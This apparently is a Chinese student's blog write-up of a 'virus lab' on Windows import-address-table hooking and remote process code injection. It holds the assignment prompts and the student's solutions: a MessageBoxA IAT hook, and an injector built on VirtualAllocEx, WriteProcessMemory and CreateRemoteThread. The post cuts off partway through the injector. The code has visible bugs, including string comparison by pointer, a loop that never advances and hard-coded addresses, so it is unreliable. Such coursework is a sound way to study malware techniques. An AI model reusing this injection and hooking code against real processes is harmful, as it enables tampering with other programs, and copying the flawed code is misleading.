病毒实验四
title: viruslab4
date: 2016-01-06 15:05:28
categories: virus
tags: virus
导入地址表挂钩
工具:vs2012 ollydbg
part1
-
完成函数GetIAFromImportTable() 遍历当前进程test.exe模块的导入地址表
找到其中存放MessageBoxA()入口地址的地址 打印出该地址以及其中存在的值 -
该函数GetIAFromImportTable()的框架如下:
DWORD GetIAFromImportTbale(DWORD dwBase,LPCSTR lpszFuncName)
dwBase 为PE结构的基地址
lpszFuncName 为查询导入函数的名称字符串
该函数返回值为存放被查询函数入口地址的地址 -
进程test.exe的代码
//test.c
#include<windows.h>
void main()
{
//请在这里补全代码 包括调用GetIAFromImportTable()
MessageBoxA(NULL,"hello","msg",MB_OK);
}
- 提示:可以参考并使用下面两个函数
DWORD GetIAFromImpDesc(DWORD dwBase,
LPCSTR lpszName,
PIMAGE_IMPORT_DESCRIPTOR pImpDesc)
{
PIMAGE_THUNK_DATA pthunk,pthunk2;
PIMAGE_IMPORT_BY_NAME pOrdinalName;
if(pImpDesc->Name==0) return 0;
pthunk=(PIMAGE_THUNK_DATA)(dwBase+pImpDesc->OriginalFirstThunk);
pthunk2=(PIMAGE_THUNK_DATA)(dwBase+pImpDesc->FirstThunk);
for(;pthunk->u1.Function!=0;pthunk++,pthunk2++){
if(pthunk->u1.Ordinal & 0x80000000) continue;
pOrdinalName=(PIMAGE_IMPORT_BY_NAME)(dwBase+pthunk->u1.AddressOfData);
if(Compstr((LPSTR)lpszName,(LPSTR)&pOrdinalName->Name))
return (DWORD)pthunk2;
}
return 0;
}
BOOL Compstr(LPSTR s1,LPSTR s2)
{
PCHAR p,q;
for(p=s1,q=s2;(*p!=0)&&(*q!=0);p++,q++){
if(*p!=*q) return FALSE;
}
return TRUE;
}
part1报告
#include <windows.h>
#include <stdlib.h>
char *s="MessageBoxA";
BOOL CompStr(LPSTR s1, LPSTR s2){
PCHAR p,q;
for (p=s1,q=s2;(*p!=0)&&(*q!=0);p++,q++) {
if (*p!=*q) return FALSE;
}
return TRUE;
}
DWORD GetIAFromImportTable(DWORD dwBase, LPCSTR lpszFuncName){
PIMAGE_DOS_HEADER pDosHeader;//dos头
PIMAGE_NT_HEADERS pNtHeaders;//nt头
PIMAGE_OPTIONAL_HEADER32 pOptHeader;//可选头
DWORD dwRVAImpTbl;
DWORD dwSizeOfImpTbl;
PIMAGE_IMPORT_DESCRIPTOR pImpTbl, pImpDesc;
PIMAGE_THUNK_DATA pthunk, pthunk2;
PIMAGE_IMPORT_BY_NAME pOrdinalName;
int i;
pDosHeader = (PIMAGE_DOS_HEADER)dwBase;//dos头
pNtHeaders = (PIMAGE_NT_HEADERS)(dwBase + pDosHeader->e_lfanew);//nt头
pOptHeader = &(pNtHeaders->OptionalHeader);//可选头
dwRVAImpTbl = pOptHeader->DataDirectory[1].VirtualAddress;//数据目录->导入描述表RVA地址
dwSizeOfImpTbl = pOptHeader->DataDirectory[1].Size;//数据目录->有多少个导入描述表
pImpTbl = (PIMAGE_IMPORT_DESCRIPTOR)(dwBase + dwRVAImpTbl);//导入描述表地址
for (pImpDesc = pImpTbl;
(DWORD)pImpDesc < ((DWORD)pImpTbl + dwSizeOfImpTbl);
pImpDesc++) {//->下一个函数的导入描述表
printf("IMAGE_IMPORT_DESCRIPTOR Address: 0x%08x\n", pImpDesc);
if (pImpDesc->Name == 0) return 0;
pthunk = (PIMAGE_THUNK_DATA) (dwBase + pImpDesc->OriginalFirstThunk);
pthunk2 = (PIMAGE_THUNK_DATA) (dwBase + pImpDesc->FirstThunk);
while (pthunk->u1.Function != 0) {
if (pthunk->u1.Ordinal & 0x80000000) continue;
else {//最高位是0 按名称导入的
pOrdinalName = (PIMAGE_IMPORT_BY_NAME)(dwBase + pthunk->u1.AddressOfData);
if (CompStr((LPSTR)lpszFuncName, (LPSTR)&pOrdinalName->Name)) {
printf("MessageBoxA:\n");
printf("\t\tAddress of Import Address: 0x%08x\n", pthunk2);
printf("\t\tImport Address: 0x%08x\n", *pthunk2);
return (DWORD)pthunk2;
}
pthunk++;
pthunk2++;
}
}
}
}
void main(){
MessageBoxA(NULL, "hello", "msg", MB_OK);
HMODULE dwBase= GetModuleHandleA(NULL);
GetIAFromImportTable(dwBase, s);
}
part2
- 请修改test.exe进程导入地址表中存放MessageBoxA的表项 使之指向一个自己定义的新函数MyMessageBoxA()
来截获所有test.exe对MessageboxA函数的调用 在截获调用之后 MyMessageBoxA()可以对参数做一些改动
然后再调用真正的MessageBoxA() - 要求:
定义函数MyMessageBoxA 将截获的MessageBoxA调用的第二个参数无条件改为"I'm hacked!"
//test.c
#include<windows.h>
__declspec(naked)MyMessageBoxA(...)
{
//请在这里补全代码
}
void main()
{
//请在这里补全代码
//定位MessageBoxA的导入表表项
//修改导入地址表表项
MessageBoxA(NULL,"Happyday","hello",MB_OK);
}
part2报告
#include <windows.h>
#include <stdlib.h>
char *s="MessageBoxA";
__declspec(naked) MyMessageBoxA()
{
__asm{
push ebp
mov ebp,esp
sub esp,0x20
mov [ebp-0x18],'I'
mov [ebp-0x17],'\''
mov [ebp-0x16],'m'
mov [ebp-0x15],' '
mov [ebp-0x14],'h'
mov [ebp-0x13],'a'
mov [ebp-0x12],'c'
mov [ebp-0x11],'k'
mov [ebp-0x10],'e'
mov [ebp-0x0f],'d'
mov [ebp-0x0e],'!'
mov [ebp-0x0d],0x0
lea eax,[ebp-0x18]
push 0x0
push eax
push eax
push 0x0
mov eax,0x77C9EA71
call eax
//call dword ptr [MessageBoxA]
add esp,0x20
mov esp,ebp
pop ebp
ret
}
}
BOOL CompStr(LPSTR s1, LPSTR s2){
PCHAR p,q;
for (p=s1,q=s2;(*p!=0)&&(*q!=0);p++,q++) {
if (*p!=*q) return FALSE;
}
return TRUE;
}
DWORD* GetIAFromImportTable(DWORD dwBase, LPCSTR lpszFuncName){
PIMAGE_DOS_HEADER pDosHeader;//dos头
PIMAGE_NT_HEADERS pNtHeaders;//nt头
PIMAGE_OPTIONAL_HEADER32 pOptHeader;//可选头
DWORD dwRVAImpTbl;
DWORD dwSizeOfImpTbl;
PIMAGE_IMPORT_DESCRIPTOR pImpTbl, pImpDesc;
PIMAGE_THUNK_DATA pthunk, pthunk2;
PIMAGE_IMPORT_BY_NAME pOrdinalName;
int i;
pDosHeader = (PIMAGE_DOS_HEADER)dwBase;//dos头
pNtHeaders = (PIMAGE_NT_HEADERS)(dwBase + pDosHeader->e_lfanew);//nt头
pOptHeader = &(pNtHeaders->OptionalHeader);//可选头
dwRVAImpTbl = pOptHeader->DataDirectory[1].VirtualAddress;//数据目录->导入描述表RVA地址
dwSizeOfImpTbl = pOptHeader->DataDirectory[1].Size;//数据目录->有多少个导入描述表
pImpTbl = (PIMAGE_IMPORT_DESCRIPTOR)(dwBase + dwRVAImpTbl);//导入描述表地址
for (pImpDesc = pImpTbl;
(DWORD)pImpDesc < ((DWORD)pImpTbl + dwSizeOfImpTbl);
pImpDesc++) {//->下一个函数的导入描述表
if (pImpDesc->Name == 0) return 0;
pthunk = (PIMAGE_THUNK_DATA) (dwBase + pImpDesc->OriginalFirstThunk);
pthunk2 = (PIMAGE_THUNK_DATA) (dwBase + pImpDesc->FirstThunk);
while (pthunk->u1.Function != 0) {
if (pthunk->u1.Ordinal & 0x80000000) continue;
else {//最高位是0 按名称导入的
pOrdinalName = (PIMAGE_IMPORT_BY_NAME)(dwBase + pthunk->u1.AddressOfData);
if (CompStr((LPSTR)lpszFuncName, (LPSTR)&pOrdinalName->Name)) {
return (DWORD*)pthunk2;//ok!!
}
pthunk++;
pthunk2++;
}
}
}
}
void main(){
DWORD dwBase;
DWORD* Pthunk2;
int op;
MessageBoxA(NULL, "hello", "msg", MB_OK);
dwBase=GetModuleHandleA(NULL);
Pthunk2=GetIAFromImportTable(dwBase,s);
VirtualProtect(Pthunk2,4,PAGE_EXECUTE_READWRITE,&op);
(DWORD*)*Pthunk2=(DWORD*)MyMessageBoxA;
MessageBoxA(NULL, "hello", "msg", MB_OK);
}
part3
- 下面是一段char code[]数组的自动生成代码框架 请编写注入器inj.c 将一段代码注入到hello.exe中
用来找到hello.exe导入地址表的存放MessageBoxA的表项地址 然后将这个地址返回给inj.exe进程
#include<windows.h>
PBYTE pRemoteCode,pCode,pOrignCode;
DWORD dwSizeOfCode;
//下面是即将被注入的代码
void code_start();//code_start 是二进制码的开始标记
void _str_msgboxa();//_str_msgboxa 标记存放字符串的地址
void _addr_GetModuleHandleA();//_addr_GetModuleHandleA 标记存放API入口地址的地址
DWORD GetIAFromImportTbale(DWORD dwBase,LPCSTR lpszFuncName);//寻找IA的函数
...
//这里请填入需要一并被注入的函数代码
void code_end(); //code_end 是二进制的结束标记
//上面是即将被注入的代码
__declspec(naked) void code_start()
{
__asm{
push ebp
mov ebp,esp
push ebx
//local variables
sub esp,0x10
//ebp - 0x0c ==> ImageBase
//self-locating 字定位 请阅读并理解下面3条指令的含义
call _delta
_delta:
pop ebx
sub ebx,offset _delta
//调用GetModuleHandleA()
push 0
lea ecx,[ebx+_addr_GetModuleHandleA]
call dword ptr [ecx]
cmp eax,0x0
jne _cont1
mov eax,0x1
jmp _ret
_cont1:
mov [ebp-0x0c],eax
//调用GetIAFromImportTable()
lea ecx,[ebx+_str_msgboxa]
push ecx
push [ebp-0x0c]
call offset GetIAFromImportTable
add esp,0x8
cmp eax,0x0
jne _ret
mov eax,0x2
_ret:
add esp,0x20
pop ebx
mov esp,ebp
pop ebp
ret
}
}
//_str_msgboxa 是字符串"MessageBoxA"的地址
__declspec(naked)void _str_msgboxa()
{
_asm{
_emit 'M'
_emit 'e'
_emit 's'
_emit 's'
_emit 'a'
_emit 'g'
_emit 'e'
_emit 'B'
_emit 'o'
_emit 'x'
_emit 'A'
_emit 0x0
}
}
//_addr_GetModuleHandleA是存放GetModuleHandleA()的全局变量
__declspec(naked)void _addr_GetModuleHandleA()
{
__asm{
_emit 0xAA
_emit 0xBB
_emit 0xAA
_emit 0xBB
}
}
//这里请填写GetIAFromImportTable()函数的相关代码
//code_end 是二进制代码的结束标志
__declspec(naked)void code_end()
{
__asm _emit 0xCC
}
//make_code()函数时将标记code_start和结束标记code_end之间的所有二进制数据拷贝到一个缓冲区
DWORD make_code()
{
int off;
DWORD func_addr;
HMODULE hModule;
__asm{
mov edx,offset code_start
mov dword ptr [pOrignCode],edx
mov eax,offset code_end
sub eax,edx
mov dword ptr [dwSizeOfCode],eax
}
pCode=VirtualAlloc(NULL,dwSizeOfCode,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(pCode==NULL){
printf("[E]:VirtualAlloc failed\n");
return 0;
}
printf("[I]:VirtualAlloc ok --> at 0x%08.\n",pCode);
for(off=0;off<dwSizeOfCode;off++){
*(pCode+off)=*(pOrignCode+off);
}
printf("[I]:Copy code ok --> from 0x%08x to 0x%08x with size of 0x%08x.\n",
pOrignCode,pCode,dwSizeOfCode);
hModule=LoadLibrary("kernel32.dll");
if(hModule==NULL){
printf("[E]:kernel32.dll cannot be loaded.\n");
return 0;
}
func_addr=(DWORD)GetProcAddress(hModule,"GetModuleHandleA");
if(func_addr==0){
printf("[E]:GetModuleHandA not found.\n");
return 0;
}
off=(DWORD)pCode-(DWORD)pOrignCode;
*(PDWORD)((PBYTE)_addr_GetModuleHandleA+off)=func_addr;
return dwSizeOfCode;
}
//inject_code()函数是存放pCode所指向的缓冲区中的二进制代码注入到远程进程中
int inject_code(DWORD pid)
{
//请填入代码 完成注入过程
return 0;
}
int main()
{
DWORD pid=0;
//为pid赋值为hello.exe的进程ID
make_code();
inject_code(pid);
return 0;
}
- 提示:
通过调用GetModuleHandleA(NULL)可以得到当前进程中.exe模块的基地址
通过下面的代码可以得到代码在运行期与编译期的基地址之差 放入ebx寄存器
然后通过ebx进行寻址 即可以得到运行期代码附带的数据
这是一种编写"位置无关代码"的常见技术
所谓"位置无关代码"是运行期不再需要做基址重定位的代码
call _delta
_delta:
pop ebx
sub ebx,offset _delta
mov eax,[ebx+_xxx]//将0xAABBCCDD立即数存入eax
_xxx:
_emit 0xDD
_emit 0xCC
_emit 0xBB
_emit 0xAA
- 提示:
在make_code()函数中 code_start与code_end之间的代码被拷贝到pCode所指向的内存页面
代码大小为dwSizeOfCode//hello.c #include<windows.h> int main() { while(MessageBoxA(0,"hello","hello.exe",MB_YESNO)==IDYES) {} return 0; }
- `part3报告`
```c
//inj.c
#include <windows.h>
#include <string.h>
PBYTE pRemoteCode, pCode, pOrignCode;
DWORD dwSizeOfCode;
void code_start();
void _str_msgboxa(); // _str_msgboxa 标记存放字符串的地址
void _addr_GetModuleHandleA();//_addr_GetModuleHandleA 标记存放API 入口地址的地址
DWORD GetIAFromImportTable(DWORD dwBase, LPCSTR lpszFuncName); // 寻找IA 的函数
void code_end();
// 上面是即将被注入的代码
__declspec(naked) void code_start()
{// code_start 是二进制码的开始标记
__asm {
push ebp
mov ebp, esp
push ebx
sub esp, 0x10//局部变量
//call-pop结构 自定位
call _delta
_delta:
pop ebx
sub ebx, offset _delta//运行期与编译期的基址之差存入ebx
push 0
lea ecx, [ebx + _addr_GetModuleHandleA]
call dword ptr [ecx]
cmp eax, 0x0
jne _cont1//成功 eax存放当前进程基址
mov eax, 0x1//失败
jmp _ret
_cont1:
mov [ebp-0x0C], eax
lea ecx, [ebx + _str_msgboxa]
push ecx//字符串MessageBoxA压栈 参数二
push [ebp-0x0C]//当前进程基址压栈 参数一
call offset GetIAFromImportTable
add esp, 0x8
cmp eax, 0x0
jne _ret
mov eax, 0x2
_ret:
add esp, 0x20
pop ebx
mov esp, ebp
pop ebp
ret
}
}
__declspec(naked) void _str_msgboxa()
{// _str_msgboxa 是字符串”MessageBoxA”的地址
__asm {
_emit 'M' //定义混合在代码中的数据
_emit 'e'
_emit 's'
_emit 's'
_emit 'a'
_emit 'g'
_emit 'e'
_emit 'B'
_emit 'o'
_emit 'x'
_emit 'A'
_emit 0x0
}
}
__declspec(naked) void _addr_GetModuleHandleA()
{// _addr_GetModuleHandleA 是存放GetModuleHandleA()的全局变量
__asm {
_emit 0xAA
_emit 0xBB
_emit 0xAA
_emit 0xEE
}
}
DWORD GetIAFromImportTable(DWORD dwBase, LPCSTR lpszFuncName)
{
PIMAGE_DOS_HEADER pDosHeader;//dos头
PIMAGE_NT_HEADERS pNtHeaders;//nt头
PIMAGE_OPTIONAL_HEADER32 pOptHeader;//可选头
DWORD dwRVAImpTbl;
DWORD dwSizeOfImpTbl;
PIMAGE_IMPORT_DESCRIPTOR pImpTbl, pImpDesc;
PIMAGE_THUNK_DATA pthunk, pthunk2;
PIMAGE_IMPORT_BY_NAME pOrdinalName;
pDosHeader = (PIMAGE_DOS_HEADER)dwBase;//dos头
pNtHeaders = (PIMAGE_NT_HEADERS)(dwBase + pDosHeader->e_lfanew);//nt头
pOptHeader = &(pNtHeaders->OptionalHeader);//可选头
dwRVAImpTbl = pOptHeader->DataDirectory[1].VirtualAddress;//数据目录->导入描述表RVA地址
dwSizeOfImpTbl = pOptHeader->DataDirectory[1].Size;//数据目录->有多少个导入描述表
pImpTbl = (PIMAGE_IMPORT_DESCRIPTOR)(dwBase + dwRVAImpTbl);//导入描述表地址
for (pImpDesc = pImpTbl;
(DWORD)pImpDesc < ((DWORD)pImpTbl + dwSizeOfImpTbl);
pImpDesc++) {//->下一个函数的导入描述表
if (pImpDesc->Name == 0) return 0;
pthunk = (PIMAGE_THUNK_DATA) (dwBase + pImpDesc->OriginalFirstThunk);
pthunk2 = (PIMAGE_THUNK_DATA) (dwBase + pImpDesc->FirstThunk);
while (pthunk->u1.Function != 0) {
if (pthunk->u1.Ordinal & 0x80000000) continue;
else {//最高位是0 按名称导入的
pOrdinalName =
(PIMAGE_IMPORT_BY_NAME)(dwBase+pthunk->u1.AddressOfData);
if ((LPSTR)lpszFuncName=="MessageBoxA") {
return (DWORD*)pthunk2;//ok!!
}
pthunk++;
pthunk2++;
}
}
}
}
__declspec(naked) void code_end()
{// code_end 是二进制码的结束标记
__asm _emit 0xCC
}
// make_code()将code_start和code_end之间的所有二进制数据拷贝到一个缓冲区中
DWORD make_code()
{
int off;
DWORD func_addr;
HMODULE hModule;
__asm {
mov edx, offset code_start
mov dword ptr [pOrignCode], edx//pOrignCode 注入代码首地址
mov eax, offset code_end
sub eax, edx
mov dword ptr [dwSizeOfCode], eax//dwSizeOfCode注入内容总的字节数
}
pCode = VirtualAlloc(NULL,//要分配的内存区域的地址
dwSizeOfCode,//分配的大小 字节单位
MEM_COMMIT, //分配的类型
PAGE_EXECUTE_READWRITE);//该内存的保护属性 可读可写可执行
if (pCode== NULL) {
printf("[E]: VirtualAlloc failed\n");
return 0;
}
printf("[I]: VirtualAlloc ok --> at 0x%08x.\n", pCode);
for (off = 0; off<dwSizeOfCode; off++) {
*(pCode+off) = *(pOrignCode+off);//复制注入代码
}
printf("[I]: Copy code ok --> from 0x%08x to 0x%08x with size of 0x%08x.\n",
pOrignCode, pCode, dwSizeOfCode);
hModule = LoadLibrary("kernel32.dll");//LoadLibrary载入指定的动态链接库 返回句柄
if (hModule == NULL) {
printf("[E]: kernel32.dll cannot be loaded. \n");
return 0;
}
func_addr = (DWORD)GetProcAddress(hModule, "GetModuleHandleA");
if (func_addr == 0) {//GetProcAddress检索指定的库中函数地址
printf("[E]: GetModuleHandleA not found. \n");
return 0;
}
off = (DWORD)pCode - (DWORD)pOrignCode;
*(PDWORD)((PBYTE)_addr_GetModuleHandleA + off) = func_addr;
return dwSizeOfCode;
}
int inject_code(DWORD PID)
{// inject_code()函数是存放在pCode 所指向的缓冲区中的二进制代码注入到远程进程中
HANDLE hProcess = 0;
DWORD dwNumBytesXferred = 0;
int exitcode = 0;
HANDLE hThread = 0;
DWORD dwThreadId = 0;
printf("[I]: Opening remote process %d ", PID);
hProcess = OpenProcess(PROCESS_CREATE_THREAD
| PROCESS_QUERY_INFORMATION
| PROCESS_VM_OPERATION
| PROCESS_VM_WRITE
| PROCESS_VM_READ,
FALSE, PID);
if (hProcess == NULL) {
printf("failed.\n");
return -1;
}
printf("ok.\n");
printf("[I]: Allocating remote memory with size of 0x%08x ", dwSizeOfCode);
pRemoteCode = (PBYTE) VirtualAllocEx(//返回分配内存的首地址
hProcess, //句柄
0, //保留页面的内存地址 NULL自动分配
dwSizeOfCode, //预分配的内存大小 字节单位
MEM_COMMIT, //分配类型
PAGE_EXECUTE_READWRITE);//区域权限 可读可写可执行
if (pRemoteCode == NULL) {
printf("failed.\n");
CloseHandle(hProcess);
return -1;
}
printf("ok at 0x%08x.\n", pRemoteCode);
printf("[I]: Writing code ");
if (WriteProcessMemory(
hProcess, //句柄
pRemoteCode, //要写的内存首地址
pCode, //指向要写的数据的指针
dwSizeOfCode, //要写的字节数
&dwNumBytesXferred) == 0) {//写入实际数据的长度
printf("failed.\n");
VirtualFreeEx(hProcess, pRemoteCode,
dwSizeOfCode, MEM_RELEASE);
CloseHandle(hProcess);
return -1;
};
printf("ok (%d bytes were written).\n", dwNumBytesXferred);
printf("[I]: Creating a remote thread ");
hThread = CreateRemoteThread(//返回新线程句柄
hProcess, //句柄
NULL, //线程安全指针
0, //线程初始化大小 0 系统默认大小
(LPTHREAD_START_ROUTINE)pRemoteCode,
//在远程进程的地址空间中 该线程的起始地址
pRemoteCode,//传递给线程函数的参数
0 ,//线程创建标志 0 创建后立即运行
&dwThreadId);//指向所创建线程句柄的指针
if (hThread == 0) {
printf("failed.\n");
if ( pRemoteCode != 0 )
VirtualFreeEx(//释放远程进程中申请的内存空间
hProcess,//目标进程句柄
pRemoteCode,//要释放的内存空间首地址的指针
0,//内存空间字节数
MEM_RELEASE);//释放类型 完全回收
if ( hThread != 0 )
CloseHandle(hThread);
return -1;
}
printf("ok.\n");
printf("[I]: Waiting the remote thread ...");
WaitForSingleObject(hThread, INFINITE);//等待远程线程执行
GetExitCodeThread(hThread, (PDWORD) &exitcode);//获得终止线程的退出码
printf("exited with 0x%08X\n", exitcode);
VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 0;
}
int main(int argc, char *argv[])
{
DWORD PID = 0;
PID = atoi(argv[1]);
make_code();
inject_code(PID);
return 0;
}
part4
- 请结合part2和part3 改写inj.c 注入代码到hello.exe
包括一段自己编写的拦截MessageBoxA函数和MyMessageBoxA函数
然后修改进程hello.exe中的导入地址表(IAT) 使其指向MyMessageBoxA
要求注入代码后 hello.exe中所有的MessageBoxA(h,str,"hello",MB_OK)调用
均显示为MessageBoxA(h,"i'm hacked!","hello",MB_OK) - 提示:
- 将MyMessageBoxA()函数与_addr_MessageBoxA所指的值一起注入到hello.exe进程
- 编写一段代码来遍历hello.exe进程中的导入表 找到导入地址表中存放MessageBoxA函数入口地址的位置
- 将该位置的值改写为代码MyMessageBoxA的入口地址
- 在注入MyMessageBoxA之前 修改_addr_MessageBoxA 确保其指向真正的MessageBoxA函数的入口地址
//MyMessageBoxA参考代码
__declspec(naked) void MyMessageBoxA()
{
__asm{
push ebp
mov ebp,esp
push ebx
call _delta2
_delta2:
pop ebx
sub ebx,offset _delta2
push [ebp+0x14]
push [ebp+0x10]
lea ecx,[ebx+_str_hacked]
push ecx
push [ebp+0x08]
lea eax,[ebx+_addr_MessageBoxA]//need relocation
call dword ptr [eax]
pop ebx
mov esp,ebp
pop ebp
ret 16
_str_hacked:
_emit 'I'
_emit '\''
_emit 'm'
_emit ' '
_emit 'h'
_emit 'a'
_emit 'c'
_emit 'k'
_emit 'e'
_emit 'd'
_emit '!'
emit 0x0
_addr_MessageBoxA:
_emit 0xAA
_emit 0xBB
_emit 0xCC
_emit 0xDD
}
}
part4报告
//inj.c
#include <windows.h>
#include <string.h>
PBYTE pRemoteCode, pCode, pOrignCode;
DWORD dwSizeOfCode;
void code_start();
void _str_msgboxa(); // _str_msgboxa 标记存放字符串的地址
void _addr_GetModuleHandleA();//_addr_GetModuleHandleA 标记存放API 入口地址的地址
void _str_hacked();
void _addr_MessageBoxA();
DWORD GetIAFromImportTable(DWORD dwBase, LPCSTR lpszFuncName); // 寻找IA 的函数
void MyMessageBoxA();
void code_end();
// 上面是即将被注入的代码
__declspec(naked) void code_start()
{// code_start 是二进制码的开始标记
__asm {
push ebp
mov ebp, esp
push ebx
sub esp, 0x10//局部变量
//call-pop结构 自定位
call _delta
_delta:
pop ebx
sub ebx, offset _delta//运行期与编译期的基址之差存入ebx
push 0
lea ecx, [ebx + _addr_GetModuleHandleA]
call dword ptr [ecx]
cmp eax, 0x0
jne _cont1//成功 eax存放当前进程基址
mov eax, 0x1//失败
jmp _ret
_cont1:
call offset MyMessageBoxA
mov [ebp-0x0C], eax
lea ecx, [ebx + _str_msgboxa]
push ecx//字符串MessageBoxA压栈 参数二
push [ebp-0x0C]//当前进程基址压栈 参数一
call offset GetIAFromImportTable
add esp, 0x8
cmp eax, 0x0
jne _ret
mov eax, 0x2
_ret:
add esp, 0x20
pop ebx
mov esp, ebp
pop ebp
ret
}
}
__declspec(naked) void _str_msgboxa()
{// _str_msgboxa 是字符串”MessageBoxA”的地址
__asm {
_emit 'M' //定义混合在代码中的数据
_emit 'e'
_emit 's'
_emit 's'
_emit 'a'
_emit 'g'
_emit 'e'
_emit 'B'
_emit 'o'
_emit 'x'
_emit 'A'
_emit 0x0
}
}
__declspec(naked) void _addr_GetModuleHandleA()
{// _addr_GetModuleHandleA 是存放GetModuleHandleA()的全局变量
__asm {
_emit 0xAA
_emit 0xBB
_emit 0xAA
_emit 0xEE
}
}
__declspec(naked) void MyMessageBoxA(){
__asm{
push ebp
mov ebp,esp
push ebx
call _delta2
_delta2:
pop ebx
sub ebx,offset _delta2
push [ebp+0x14]
push [ebp+0x10]
lea ecx,[ebx+_str_hacked]
push ecx
push [ebp+0x08]
lea eax,[ebx+_addr_MessageBoxA]
call dword ptr [eax]
pop ebx
mov esp,ebp
pop ebp
ret 16
}
}
__declspec(naked) void _str_hacked(){
__asm{
_emit 'I'
_emit '\''
_emit 'm'
_emit ' '
_emit 'h'
_emit 'a'
_emit 'c'
_emit 'k'
_emit 'e'
_emit 'd'
_emit '!'
_emit 0x0
}
}
__declspec(naked) void _addr_MessageBoxA(){
__asm{
_emit 0xAA
_emit 0xBB
_emit 0xCC
_emit 0xDD
}
}
DWORD GetIAFromImportTable(DWORD dwBase, LPCSTR lpszFuncName)
{
PIMAGE_DOS_HEADER pDosHeader;//dos头
PIMAGE_NT_HEADERS pNtHeaders;//nt头
PIMAGE_OPTIONAL_HEADER32 pOptHeader;//可选头
DWORD dwRVAImpTbl;
DWORD dwSizeOfImpTbl;
PIMAGE_IMPORT_DESCRIPTOR pImpTbl, pImpDesc;
PIMAGE_THUNK_DATA pthunk, pthunk2;
PIMAGE_IMPORT_BY_NAME pOrdinalName;
pDosHeader = (PIMAGE_DOS_HEADER)dwBase;//dos头
pNtHeaders = (PIMAGE_NT_HEADERS)(dwBase + pDosHeader->e_lfanew);//nt头
pOptHeader = &(pNtHeaders->OptionalHeader);//可选头
dwRVAImpTbl = pOptHeader->DataDirectory[1].VirtualAddress;//数据目录->导入描述表RVA地址
dwSizeOfImpTbl = pOptHeader->DataDirectory[1].Size;//数据目录->有多少个导入描述表
pImpTbl = (PIMAGE_IMPORT_DESCRIPTOR)(dwBase + dwRVAImpTbl);//导入描述表地址
for (pImpDesc = pImpTbl;
(DWORD)pImpDesc < ((DWORD)pImpTbl + dwSizeOfImpTbl);
pImpDesc++) {//->下一个函数的导入描述表
if (pImpDesc->Name == 0) return 0;
pthunk = (PIMAGE_THUNK_DATA) (dwBase + pImpDesc->OriginalFirstThunk);
pthunk2 = (PIMAGE_THUNK_DATA) (dwBase + pImpDesc->FirstThunk);
while (pthunk->u1.Function != 0) {
if (pthunk->u1.Ordinal & 0x80000000) continue;
else {//最高位是0 按名称导入的
pOrdinalName = (PIMAGE_IMPORT_BY_NAME)(dwBase + pthunk->u1.AddressOfData);
if ((LPSTR)lpszFuncName=="MessageBoxA") {
*pthunk2=((DWORD)MyMessageBoxA-(DWORD)code_start+0x00b00000);
return (DWORD*)pthunk2;//ok!!
}
pthunk++;
pthunk2++;
}
}
}
}
__declspec(naked) void code_end()
{// code_end 是二进制码的结束标记
__asm _emit 0xCC
}
// make_code()将code_start和code_end 之间的所有二进制数据拷贝到一个缓冲区中
DWORD make_code()
{
int off;
DWORD func_addr;
DWORD msg_addr;
HMODULE hModule;
HMODULE hModule2;
__asm {
mov edx, offset code_start
mov dword ptr [pOrignCode], edx//pOrignCode 注入代码首地址
mov eax, offset code_end
sub eax, edx
mov dword ptr [dwSizeOfCode], eax//dwSizeOfCode注入内容总的字节数
}
pCode = VirtualAlloc(NULL,//要分配的内存区域的地址
dwSizeOfCode,//分配的大小 字节单位
MEM_COMMIT, //分配的类型
PAGE_EXECUTE_READWRITE);//该内存的保护属性 可读可写可执行
if (pCode== NULL) {
printf("[E]: VirtualAlloc failed\n");
return 0;
}
printf("[I]: VirtualAlloc ok --> at 0x%08x.\n", pCode);
for (off = 0; off<dwSizeOfCode; off++) {
*(pCode+off) = *(pOrignCode+off);//复制注入代码
}
printf("[I]: Copy code ok --> from 0x%08x to 0x%08x with size of 0x%08x.\n",
pOrignCode, pCode, dwSizeOfCode);
hModule = LoadLibrary("kernel32.dll");//LoadLibrary载入指定的动态链接库 返回句柄
if (hModule == NULL) {
printf("[E]: kernel32.dll cannot be loaded. \n");
return 0;
}
hModule2 = LoadLibrary("user32.dll");//LoadLibrary载入指定的动态链接库 返回句柄
if (hModule2 == NULL) {
printf("[E]: user32.dll cannot be loaded. \n");
return 0;
}
func_addr = (DWORD)GetProcAddress(hModule, "GetModuleHandleA");
if (func_addr == 0) {//GetProcAddress检索指定的库中函数地址
printf("[E]: GetModuleHandleA not found. \n");
return 0;
}
msg_addr = (DWORD)GetProcAddress(hModule2, "MessageBoxA");
if (msg_addr == 0) {//GetProcAddress检索指定的库中函数地址
printf("[E]: MessageBoxA not found. \n");
return 0;
}
off = (DWORD)pCode - (DWORD)pOrignCode;
*(PDWORD)((PBYTE)_addr_GetModuleHandleA + off) = func_addr;
*(PDWORD)((PBYTE)_addr_MessageBoxA + off) = msg_addr;
return dwSizeOfCode;
}
int inject_code(DWORD PID)
{// inject_code()函数是存放在pCode 所指向的缓冲区中的二进制代码注入到远程进程中
HANDLE hProcess = 0;
DWORD dwNumBytesXferred = 0;
int exitcode = 0;
int op;
HANDLE hThread = 0;
DWORD dwThreadId = 0;
printf("[I]: Opening remote process %d ", PID);
hProcess = OpenProcess(PROCESS_CREATE_THREAD
| PROCESS_QUERY_INFORMATION
| PROCESS_VM_OPERATION
| PROCESS_VM_WRITE
| PROCESS_VM_READ,
FALSE, PID);
if (hProcess == NULL) {
printf("failed.\n");
return -1;
}
printf("ok.\n");
printf("[I]: Allocating remote memory with size of 0x%08x ", dwSizeOfCode);
pRemoteCode = (PBYTE) VirtualAllocEx(//返回分配内存的首地址
hProcess, //句柄
0, //保留页面的内存地址 NULL自动分配
dwSizeOfCode, //预分配的内存大小 字节单位
MEM_COMMIT, //分配类型
PAGE_EXECUTE_READWRITE);//区域权限 可读可写可执行
if (pRemoteCode == NULL) {
printf("failed.\n");
CloseHandle(hProcess);
return -1;
}
printf("ok at 0x%08x.\n", pRemoteCode);
printf("[I]: Writing code ");
if (WriteProcessMemory(
hProcess, //句柄
pRemoteCode, //要写的内存首地址
pCode, //指向要写的数据的指针
dwSizeOfCode, //要写的字节数
&dwNumBytesXferred) == 0) {//写入实际数据的长度
printf("failed.\n");
VirtualFreeEx(hProcess, pRemoteCode,
dwSizeOfCode, MEM_RELEASE);
CloseHandle(hProcess);
return -1;
};
printf("ok (%d bytes were written).\n", dwNumBytesXferred);
printf("[I]: Creating a remote thread ");
